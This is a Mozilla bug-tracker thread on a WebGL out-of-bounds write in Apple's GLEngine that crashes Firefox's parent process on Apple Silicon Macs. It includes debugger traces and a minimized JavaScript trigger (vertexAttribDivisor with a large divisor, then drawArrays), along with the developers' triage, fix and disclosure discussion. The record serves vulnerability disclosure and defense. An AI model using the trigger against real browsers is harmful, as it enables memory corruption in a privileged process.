1914707 - Parent Process (Unsandboxed) Out-Of-Bounds Write on WebGL vertexAttribDivisor

Status: VERIFIED FIXED

(Core :: Graphics: CanvasWebGL, defect, P1)

Description

[D4ni31 [:d4ni31]]

Attachment: poc.html

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

Steps to reproduce:

High-level overview of the vulnerability and the possible effect of using it

• A Out-Of-Bounds Write Vulnerability exists in the WebGL gleLLVMStoreDataToOutFloatInFloat.

• An attacker must open a arbitrary generated HTML file to exploit this vulnerability.

• Exploiting this vulnerability can lead to a privileged process (GPU Process), enabling a sandbox escape.

  • like : CVE-2023-6856 => Heap-Buffer-Overflow Sandbox Escape in Mozilla Firefox WebGL

Exact product that was found to be vulnerable including complete version information

• OS : macOS Sonoma 14.5 / macOS Beta 15.0 (24A5289g) => Apple Macbook M1 Pro

• Product : Mozilla Firefox 129.0.1

• Important : Since this vulnerability is OS dependent, please test it on the M1 real machine using Apple's ARM silicon. (You may not be able to do this in a VM. The GPU configuration inside the VM is different from that of the real machine.)

Details

• If you check the LLDB below, you can see that Out-Of-Bounds Write occurs while processing a specific implementation in the gleLLVMStoreDataToOutFloatInFloat function. While processing the str s0, [x8] opcode, an overflow pointer exists in x8.

(lldb) process attach --pid 9338
Process 9338 stopped
* thread #1, name = 'MainThread', queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x0000000189562e14 libsystem_kernel.dylib`mach_msg2_trap + 8
libsystem_kernel.dylib`mach_msg2_trap:
->  0x189562e14 <+8>: ret

libsystem_kernel.dylib`macx_swapon:
    0x189562e18 <+0>: mov    x16, #-0x30               ; =-48
    0x189562e1c <+4>: svc    #0x80
    0x189562e20 <+8>: ret
Executable module set to "/Applications/Firefox.app/Contents/MacOS/firefox".
Architecture set to: arm64-apple-macosx-.
(lldb) c
Process 9338 resuming
Process 9338 stopped
* thread #39, name = 'CanvasRenderer', queue = 'OpenGLMT', stop reason = EXC_BAD_ACCESS (code=1, address=0x14c7c8000)
    frame #0: 0x00000001e4d85f1c GLEngine`gleLLVMStoreDataToOutFloatInFloat + 68
GLEngine`gleLLVMStoreDataToOutFloatInFloat:
->  0x1e4d85f1c <+68>: str    s0, [x8]
    0x1e4d85f20 <+72>: cmp    w9, #0x2
    0x1e4d85f24 <+76>: b.lo   0x1e4d86048               ; <+368>
    0x1e4d85f28 <+80>: str    wzr, [x8, #0x4]
(lldb) bt
* thread #39, name = 'CanvasRenderer', queue = 'OpenGLMT', stop reason = EXC_BAD_ACCESS (code=1, address=0x14c7c8000)
  * frame #0: 0x00000001e4d85f1c GLEngine`gleLLVMStoreDataToOutFloatInFloat + 68
    frame #1: 0x00000001e4d84cd0 GLEngine`gleRunVertexSubmitImmediate + 3812
    frame #2: 0x00000001e4d1f8b0 GLEngine`gleDrawArraysOrElements_ExecCore + 620
    frame #3: 0x00000001e4d15d5c GLEngine`glDrawArraysInstanced_STD_GL3Exec + 544
    frame #4: 0x00000001e4d15830 GLEngine`glDrawArrays_UnpackThread + 48
    frame #5: 0x00000001e4d3db14 GLEngine`gleCmdProcessor + 120
    frame #6: 0x00000001893f1660 libdispatch.dylib`_dispatch_client_callout + 20
    frame #7: 0x0000000189400ce0 libdispatch.dylib`_dispatch_lane_barrier_sync_invoke_and_complete + 56
    frame #8: 0x00000001e4ca3e94 GLEngine`glDeleteBuffers_ExecThread + 44
    frame #9: 0x00000001179e8be8 XUL`___lldb_unnamed_symbol110786 + 60
    frame #10: 0x00000001186d5f94 XUL`___lldb_unnamed_symbol166232 + 88
    frame #11: 0x00000001186d6060 XUL`___lldb_unnamed_symbol166235 + 12
    frame #12: 0x00000001186cc52c XUL`___lldb_unnamed_symbol166067 + 88
    frame #13: 0x00000001186cf9d8 XUL`___lldb_unnamed_symbol166113 + 120
    frame #14: 0x0000000118701dbc XUL`___lldb_unnamed_symbol167052 + 72
    frame #15: 0x0000000118701d4c XUL`___lldb_unnamed_symbol167051 + 48
    frame #16: 0x00000001186f1690 XUL`___lldb_unnamed_symbol166619 + 316
    frame #17: 0x000000011872180c XUL`___lldb_unnamed_symbol167357 + 292
    frame #18: 0x0000000115995904 XUL`___lldb_unnamed_symbol23592 + 104
    frame #19: 0x0000000115656e6c XUL`___lldb_unnamed_symbol16979 + 892
    frame #20: 0x00000001153ac568 XUL`___lldb_unnamed_symbol9329 + 2524
    frame #21: 0x000000011565b644 XUL`___lldb_unnamed_symbol17010 + 376
    frame #22: 0x000000011561d5e0 XUL`___lldb_unnamed_symbol16406 + 80
    frame #23: 0x00000001153a3f94 XUL`___lldb_unnamed_symbol9262 + 304
    frame #24: 0x00000001034d02f0 libnss3.dylib`___lldb_unnamed_symbol2291 + 260
    frame #25: 0x00000001895a42e4 libsystem_pthread.dylib`_pthread_start + 136
(lldb) x/30gx $x8
error: memory read failed for 0x14c7c8000

Proof-of-Concept

• Open poc.html in the attached file with Mozilla Firefox. (Apple M1 Pro Real-Machine)
• Now, if the Browser Process is corrupted, it is capable of sandbox escape.

Deadline

This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is "2024-11-22"

CREDIT Information

• D7

Comment 1

[:Gijs (he/him)]

Moving this to graphics for further triage.

Comment 2

[Andrew McCreight [:mccr8]]

I haven't verified this, but I'm rating it and marking the csectype- keywords based on comment 0.

Comment 3

[Andrew McCreight [:mccr8]]

[Tracking Requested - why for this release]: It looks like Firefox 133 is the latest version that will be released before the disclosure deadline, but we can't mark that for tracking yet, so I'll nominate 132.

Comment 4

[Andrew McCreight [:mccr8]]

"It looks like Firefox 133 is the latest version that will be released before the disclosure deadline,"

Sorry, it is actually Firefox 132, not 133.

Comment 5

[Daniel Veditz [:dveditz]]

I crash in both 131 nightly and ESR-115 builds on an M3 pro machine.
131: bp-c4ba63e2-6a48-4313-959c-fe6640240826
115.13: bp-5deacd7f-0678-422a-a057-ba79a0240826

We're in RC week so a fix in 130 is unrealistic.

Comment 6

[Daniel Veditz [:dveditz]]

Unlike bug 1843782 (CVE-2023-6856) we can't reasonably fix this by blocklisting the "driver" when it's an OS component on all macOS machines.

Comment 7

[Daniel Veditz [:dveditz]]

It might not be a driver/OS bug. We're in the middle of deleting buffers (mozilla::gl::GLContext::fDeleteBuffers) and then GLEngine decides to go do something seemingly unrelated (glDrawArraysInstanced_STD_GL3Exec). maybe it's our fault for not keeping objects alive as long as the APIs require them? Is there some "I'm done" signal from GLEngine we're supposed to wait for?

Comment 8

[BugBot [:suhaib / :marco/ :calixte]]

The bug is marked as tracked for firefox131 (nightly). We have limited time to fix this, the soft freeze is in 2 days. However, the bug still isn't assigned.

:bhood, could you please find an assignee for this tracked bug? If you disagree with the tracking decision, please talk with the release managers.

For more information, please visit BugBot documentation.

Comment 9

[Kelsey Gilbert [:jgilbert]]

(In reply to Daniel Veditz [:dveditz] from comment #7)

It might not be a driver/OS bug. We're in the middle of deleting buffers (mozilla::gl::GLContext::fDeleteBuffers) and then GLEngine decides to go do something seemingly unrelated (glDrawArraysInstanced_STD_GL3Exec). maybe it's our fault for not keeping objects alive as long as the APIs require them? Is there some "I'm done" signal from GLEngine we're supposed to wait for?

No, that's benign behavior according to spec. It's just doing lazy execution.

Also, it is not clear to me that this is a sandbox escape, and I don't think the POC demonstrates that.

Comment 10

[Andrew McCreight [:mccr8]]

(In reply to Kelsey Gilbert [:jgilbert] from comment #9)

Also, it is not clear to me that this is a sandbox escape, and I don't think the POC demonstrates that.

I think the argument is that the out-of-bounds crash is in the unsandboxed parent process. The crash reports in comment 5 do show that this is in the parent process.

Comment 11

[Kelsey Gilbert [:jgilbert]]

I have my macmini online and building.

Comment 12

[Kelsey Gilbert [:jgilbert]]

Appears to crash at:

try { gl1.drawArrays(gl1.TRIANGLE_STRIP, 4608, 19683); success += 1; } catch(e) { failed += 1; console.log(e.message);  }

Comment 13

[Kelsey Gilbert [:jgilbert]]

Attachment: bug-1914707-poc-min.html

Comment 14

[Kelsey Gilbert [:jgilbert]]

const VS = `
#version 300 es
void main() {}
`.trim();

const FS = `
#version 300 es
precision highp float;

layout(location = 0) out vec4 _GLF_color;

void main() {
 _GLF_color = vec4(1.0);
}
`.trim();

// [...]

gl.vertexAttribDivisor(0, 1024); // crash
let mode, first, count;
mode = 'TRIANGLES'; first = 0; count = 6; // 1M crash
//mode = 'TRIANGLES'; first = 0; count = 5; // 1M ok
//mode = 'TRIANGLE_STRIP'; first = 0; count = 6; // 1M crash
//mode = 'TRIANGLE_STRIP'; first = 0; count = 5; // 1M ok
for (let i = 0; i < 1000*1000; i++) {
  gl.drawArrays(gl[mode], first, count);
}

Comment 15

[Kelsey Gilbert [:jgilbert]]

Attachment: bug-1914707-poc-min.html

Comment 16

[Kelsey Gilbert [:jgilbert]]

At a glance:

// With any vertex or fragment shader, but no buffers bound:
gl.vertexAttribDivisor(attrib=0, divisor=1024); // crash
gl.drawArrays(gl.TRIANGLES, first=0, count=6);

Comment 17

[Kelsey Gilbert [:jgilbert]]

(lldb) di -s 0x13e166fe0 -c 30
    0x13e166fe0: udf    #0x0
    0x13e166fe4: udf    #0x0
    0x13e166fe8: udf    #0x0
    0x13e166fec: udf    #0x0
    0x13e166ff0: udf    #0x0
    0x13e166ff4: udf    #0x0
    0x13e166ff8: udf    #0x0
    0x13e166ffc: udf    #0x0
    0x13e167000: mov    x8, #0xa280         x8 = 0xa280;
    0x13e167004: add    x8, x0, x8          x8 += x0;         x8 = x0_this + 0xa280;                
    0x13e167008: ldr    x9, [x8]            x9 = *x8;         x9_itr  = *(x8_mItr);                 f32* itr = this->mItr;
    0x13e16700c: mov    x10, #0xa2a0        x10 = 0xa2a0;     
    0x13e167010: add    x10, x0, x10        x10 += x0;        x10 = x8 + 32;                        
    0x13e167014: ldr    x10, [x10]                            x10_itrEnd = *(x8 + 32);              const auto itrEnd = this->mItrEnd;
    0x13e167018: mov    x11, #0xa5a8
    0x13e16701c: add    x11, x0, x11
    0x13e167020: ldr    x11, [x11]                            x11 = *(x8 + 808);                    const auto x11 = this->0xa5a8;
    0x13e167024: ldr    x12, [x11, #0x440]                    do { x12 = *(x11+=0x440);             do { const f32* const x12 = x11->0x440;
    0x13e167028: ldr    s0, [x12]                                  s0 = *x12;                            const f32 s0 = *x12;
->  0x13e16702c: str    s0, [x9], #0x4                             *x9_itr = s0; x9_itr += 4;            *itr = s0; itr += 1;
    0x13e167030: cmp    x10, x9
    0x13e167034: b.ne   0x13e167024                           } while (x10_itrEnd != x9_itr);       } while (itr != itrEnd);
    0x13e167038: str    x9, [x8]                              *x8 = x9_itr;                         this->mItr = itr;
    0x13e16703c: ret    
    0x13e167040: udf    #0x0
    0x13e167044: udf    #0x1
    0x13e167048: udf    #0x0
    0x13e16704c: udf    #0x1
    0x13e167050: udf    #0xe4
    0x13e167054: udf    #0x39

(lldb) register read
General Purpose Registers:
        x0 = 0x000000013a8b0000
        x1 = 0x0000000000000000
        x2 = 0x0000000000000000
        x3 = 0x000000013e167000
        x4 = 0x0000000000008d9e
        x5 = 0x000000000000140b
        x6 = 0x0000000000008368
        x7 = 0x0000003101040000
        x8 = 0x000000013a8ba280
        x9 = 0x0000000132dc8000
       x10 = 0x0000000132dc8008
       x11 = 0x000000015b0f4100
       x12 = 0x00000001303f8000
       x13 = 0x0000003101040000
       x14 = 0x0000003101040000
       x15 = 0x000000017002a2b0
       x16 = 0x0000000233d4ceb8
       x17 = 0x000000013e167000
       x18 = 0x0000000000000000
       x19 = 0x000000013a8b0000
       x20 = 0x0000000000000006
       x21 = 0x0000000000000004
       x22 = 0x0000000000000000
       x23 = 0x0000000000000006
       x24 = 0x000000015b0f4540
       x25 = 0x0000000000000000
       x26 = 0x0000000000000004
       x27 = 0x0000000000000006
       x28 = 0x000000013a8ba280
        fp = 0x000000017002a7e0
        lr = 0x00000001eeb3ba68  GLEngine`gleDrawArraysOrElements_ExecCore + 624
        sp = 0x000000017002a6d0
        pc = 0x000000013e16702c
      cpsr = 0x20001000

Arm64 isn't my forte, but I think it's something like:

 f32* itr = this->mItr;                    
 const auto itrEnd = this->mItrEnd;
 const auto x11 = this->0xa5a8;
 do { const f32* const x12 = x11->0x440;
      const f32 s0 = *x12;
>     *itr = s0; itr += 1;
 } while (itr != itrEnd);
 this->mItr = itr;

It's filling itr..itrEnd with the value *(f32*)(this->0xa5a8->0x440)?

this->mItr starts at:

(lldb) p/x *(uint64_t*)$x8
(uint64_t) 0x0000000132dc7fc0

s0 is 0.0f:

(lldb) p $s0
(float) 0

Comment 18

[Kelsey Gilbert [:jgilbert]]

(0x0000000132dc8008 - 0x0000000132dc7fc0)/4 -> 18 f32s between this->mItr and itrEnd, which might be 6 verts worth of vec3<f32>?

Comment 20

[BugBot [:suhaib / :marco/ :calixte]]

Copying crash signatures from duplicate bugs.

Comment 21

[Kelsey Gilbert [:jgilbert]]

I do have a patch that prevents this issue, but I want to do some fuzz-testing it this area.

Comment 22

[Kelsey Gilbert [:jgilbert]]

Attachment: Bug 1914707 - Disable attrib divisor for non-array attribs.

Comment 23

[D4ni31 [:d4ni31]]

I have a question. If this vulnerability occurs in a parent process that doesn't have a sandbox, could this be considered as effectively leading to a sandbox escape?

Comment 24

[Tom Ritter [:tjr] (2 days until extended leave)]

(In reply to D4ni31 [:d4ni31] from comment #23)

I have a question. If this vulnerability occurs in a parent process that doesn't have a sandbox, could this be considered as effectively leading to a sandbox escape?

It can. There are a number of factors that go into the bounty decision, including what platforms the vulnerability is limited to (seems like macOS ARM hardware), what process you're affecting (seems like parent), and what degree of control you have over the memory corruption. For example if you're able to write an uncontrolled value (e.g. 0) to a controlled address (e.g. 0xDEADBEEF), or a controlled value (e.g. 0xDEADBEEF) to an uncontrolled-but known offset or address those would be strong cases that this is an exploitable sandbox escape. We don't require such a proof of concept as a rule, but in situations of ambiguity (which it seems like this one is) it can make the decision more straightforward.

Comment 25

[Kelsey Gilbert [:jgilbert]]

Comment on attachment 9426046 [details]
Bug 1914707 - Disable attrib divisor for non-array attribs.

Security Approval Request

• How easily could an exploit be constructed based on the patch?: I left a comment that points in the general direction of the issue:

    // Apple GPUs on Mac don't like non-zero divisors with non-array attribs.

It would be nice to put this comment in, but if sec team thinks it's best, we can defer adding this for a cycle.

• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
• Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: This code hasn't changed much, so it should be easy.
• How likely is this patch to cause regressions; how much testing does it need?: We do have a bunch of CI tests, but there's a medium-low chance that there's a weird interaction that I'm missing here.
• Is the patch ready to land after security approval is given?: Yes
• Is Android affected?: No

Comment 26

[D4ni31 [:d4ni31]]

Can i use a CREDIT below after this report is fixed?
CREDIT : Dohyun Lee (@l33d0hyun) & Hyeon Park (@p0her)

Comment 27

[Tom Ritter [:tjr] (2 days until extended leave)]

Yes, for this issue we can make that the credit on the advisory (and Hall of Fame entry).

Comment 28

[D4ni31 [:d4ni31]]

Add Info

• After some experimentation I'm looking for a way to control some registers. For now I can utilize the x4 register.
  • x4 = 0x0000000000414141

LLDB

* thread #3, queue = 'OpenGLMT', stop reason = EXC_BAD_ACCESS (code=1, address=0x36a49c000)
    frame #0: 0x00000001dbfdcf1c GLEngine`gleLLVMStoreDataToOutFloatInFloat + 68
GLEngine`gleLLVMStoreDataToOutFloatInFloat:
->  0x1dbfdcf1c <+68>: str    s0, [x8]
    0x1dbfdcf20 <+72>: cmp    w9, #0x2
    0x1dbfdcf24 <+76>: b.lo   0x1dbfdd048    ; <+368>
    0x1dbfdcf28 <+80>: str    wzr, [x8, #0x4]
(lldb) read reg
error: 'read' is not a valid command.
(lldb) reg read
General Purpose Registers:
        x0 = 0x000000016f7c65d0
        x1 = 0x000000016f7c65c0
        x2 = 0x0000000010100000
        x3 = 0x0000000000000000
        x4 = 0x0000000000414141
        x5 = 0x0000000134f62430
        x6 = 0x0000000000000000
        x7 = 0x0000000000000403
        x8 = 0x000000036a49c000
        x9 = 0x0000000000000001
       x10 = 0x000000036a49c000
       x11 = 0x0000003000000000
       x12 = 0x000000014aca0000
       x13 = 0x000000a000000100
       x14 = 0x0000000000000000
       x15 = 0x0000000000000010
       x16 = 0x00000001dbfdcf18  GLEngine`gleLLVMStoreDataToOutFloatInFloat + 64
       x17 = 0x00000001dbfdcf0c  GLEngine`gleLLVMStoreDataToOutFloatInFloat + 52
       x18 = 0x0000000000000000
       x19 = 0x0000000134f62430
       x20 = 0x0000000000000008
       x21 = 0x0000000000000000
       x22 = 0x0000000010100000
       x23 = 0x0000003101040000
       x24 = 0x0000000000000006
       x25 = 0x0000000000000000
       x26 = 0x0000000000000001
       x27 = 0x0000000000000000
       x28 = 0x0000000134f62430
        fp = 0x000000016f7c66b0
        lr = 0x00000001dbfdbcd0  GLEngine`gleRunVertexSubmitImmediate + 3812
        sp = 0x000000016f7c64e0
        pc = 0x00000001dbfdcf1c  GLEngine`gleLLVMStoreDataToOutFloatInFloat + 68
      cpsr = 0x80001000

Comment 29

[D4ni31 [:d4ni31]]

Attachment: controlled-x4-reg-poc.html

Comment 30

[D4ni31 [:d4ni31]]

(lldb) x/30gx $fp
0x16f7c66b0: 0x000000016f7c67d0 0x00000001dbf768b0
0x16f7c66c0: 0x0000000000414141 0x0000000140996528
0x16f7c66d0: 0x0000000140996718 0x000000014acaac48

Comment 31

[D4ni31 [:d4ni31]]

(In reply to Tom Ritter [:tjr] from comment #27)

Yes, for this issue we can make that the credit on the advisory (and Hall of Fame entry).

It seems like credits are missing due to markdown. Could you please update with the following?

• CREDIT : Dohyun Lee (@l33d0hyun) & Hyeon Park (@_p0her_)

Comment 32

[Andrew McCreight [:mccr8]]

(In reply to D4ni31 [:d4ni31] from comment #31)

It seems like credits are missing due to markdown. Could you please update with the following?

• CREDIT : Dohyun Lee (@l33d0hyun) & Hyeon Park (@_p0her_)

This bug hasn't been fixed yet so I'm not sure where you are referring to, but in any event, you are going to have been luck getting the right people to notice an issue in our advisories by emailing [e-mail]

Comment 33

[D4ni31 [:d4ni31]]

(In reply to Andrew McCreight [:mccr8] from comment #32)

(In reply to D4ni31 [:d4ni31] from comment #31)

It seems like credits are missing due to markdown. Could you please update with the following?

• CREDIT : Dohyun Lee (@l33d0hyun) & Hyeon Park (@_p0her_)

This bug hasn't been fixed yet so I'm not sure where you are referring to, but in any event, you are going to have been luck getting the right people to notice an issue in our advisories by emailing [e-mail]

Please apply this credit after this issue is resolved!

Comment 34

[Andrew McCreight [:mccr8]]

Oh, sorry, I see now that you are updating your previous comment, and this is not about an advisory that has been published yet. Leaving it here should be fine then. I'll mark your previous comment obsolete so people don't get confused.

Comment 35

[Tom Ritter [:tjr] (2 days until extended leave)]

// Apple GPUs on Mac don't like non-zero divisors with non-array attribs.

Yes, I think it would better if we did not include that. You can move it to a second patch and I can set a reminder for it to land in N+1.5 releases like we do for tests.

Comment 36

[Kelsey Gilbert [:jgilbert]]

Attachment: Bug 1914707 - Note that Apple GPUs compelled this change.

Comment 37

[Kelsey Gilbert [:jgilbert]]

Done.

Comment 38

[Tom Ritter [:tjr] (2 days until extended leave)]

Comment on attachment 9426046 [details]
Bug 1914707 - Disable attrib divisor for non-array attribs.

Approved to land and request uplift

Comment 39

[Kelsey Gilbert [:jgilbert]]

Comment on attachment 9426046 [details]
Bug 1914707 - Disable attrib divisor for non-array attribs.

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
• User impact if declined: sec-high
• Fix Landed on Version: 133
• Risk to taking this patch: Medium
• Why is the change risky/not risky? (and alternatives if risky): It should be fairly safe, but there's a chance we run into obscure regressions even though this might pass CI testing.

Beta/Release Uplift Approval Request

• User impact if declined/Reason for urgency: sec-high
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Medium
• Why is the change risky/not risky? (and alternatives if risky): It should be fairly safe, but there's a chance we run into obscure regressions even though this might pass CI testing.
• String changes made/needed: none
• Is Android affected?: No

Comment 40

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/608529350346
Disable attrib divisor for non-array attribs. r=gfx-reviewers,lsalzman,bradwerth

Comment 41

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/608529350346

Comment 42

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9426046 [details]
Bug 1914707 - Disable attrib divisor for non-array attribs.

Approved for 132.0b6. Sounds like this could use a bit of bake time and extra testing before we uplift to the ESR branches, however.

Comment 43

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-beta/rev/ebea6c5bbd26

Comment 44

[Catalin Sasca, Desktop Test Engineering [:csasca]]

Reproduced the issue on a M2 max chip on macOS 15.0.1 using Firefox 131.0a1 (2024-08-23) and the POC from Comment 15.

The crash no longer occurs on Firefox 132.0b6 (treeherder build) and Firefox 133.0a1 (2024-10-10) on the same system.

Comment 45

[D4ni31 [:d4ni31]]

These 11 cases are the results of variant testing.
Ultimately, to fix the vulnerability for this case (bug 1914707), patches must be applied to 11 different WebGL functions.

All of these will cause a crash in the back-end driver, but you can block them in the browser. However, this requires a patch for each function. If you miss any of these, you can always create a variant case.

Comment 46

[D4ni31 [:d4ni31]]

Since this is very easy to cause regression(?) or variant, it is not recommended to process it duplicate for each case.
To prevent this, it seems necessary to apply patches while verifying them one by one.

Comment 47

[Kelsey Gilbert [:jgilbert]]

Filing bugs like this is unhelpful.

Comment 48

[D4ni31 [:d4ni31]]

hmm... what would be the most helpful way for me to fix this problem?

Comment 49

[Daniel Veditz [:dveditz]]

Here's the crash I get with the "controlled" poc, and appears to match D4ni31's results in comment 28:
Release 131.0.2 bp-5877c1af-3d02-4a79-8038-2bdf10241016

Comment 50

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9426046 [details]
Bug 1914707 - Disable attrib divisor for non-array attribs.

Approved for 128.4esr and 115.17esr.

Comment 51

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr128/rev/4a273a757e9b

Comment 52

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr115/rev/d6bddf78bdfa

Comment 53

[Catalin Sasca, Desktop Test Engineering [:csasca]]

Verified the fix as well on Firefox 115.7.0esr and Firefox 128.4.0esr (treeherder builds) on macOS 15.0.1.

Comment 54

[Jesse Schwartzentruber (:truber)]

Attachment: advisory.txt

Comment 55

[Tom Ritter [:tjr] (2 days until extended leave)]

We are going to hold off on the advisory for this while we address the variants, but the fix will still go in.

Comment 56

[D4ni31 [:d4ni31]]

I understand, However, the deadline for this issue is November 22nd.
Details may be released after the deadline.

Comment 57

[D4ni31 [:d4ni31]]

Hello!

If you think this is a sandbox escape, could you please add it to keywords?

Comment 58

[Daniel Veditz [:dveditz]]

We haven't seen evidence this is usable for a sandbox escape. x4 is a general purpose register commonly used to pass function arguments. It's not a surprise to see values from your PoC in that kind of register and it doesn't show the kind of control Tom was talking about.

Incidentally, in this kind of explorative testcase you might find it more useful to use different constants rather than use the same one multiple times.

Comment 59

[D4ni31 [:d4ni31]]

There are 7 days left in the public disclosure period for this bug.

Comment 60

[D4ni31 [:d4ni31]]

Now that the variant bug has been fixed, can you please release this in the Firefox 132 Security Advisory?

https://www.mozilla.org/en-US/security/advisories/mfsa2024-55/

Comment 61

[Tom Ritter [:tjr] (2 days until extended leave)]

After consideration, I think it would be incorrect to call this issue fixed in 132 - we tried to fix it, but the underlying vulnerability (which is in Apple's code, not ours) is still reachable in 132; so the code in 132 is insufficient to be considered a fix. CVE-2024-11691 can encompass it.

(Philosophically, our ability to issue a CVE for this is questionable, since the underlying Apple issue, and our fix, are not independently fixable, and we cannot issue CVEs for Apple code, but this type of minutia is detrimental to the overall effort of 'getting things done' so I'm happy to ignore that aspect. But I do feel this and Bug 1924184 are not distinct.)

Comment 62

[BugBot [:suhaib / :marco/ :calixte]]

2 months ago, tjr placed a reminder on the bug using the whiteboard tag [reminder-test 2024-12-10] .

jgilbert, please refer to the original comment to better understand the reason for the reminder.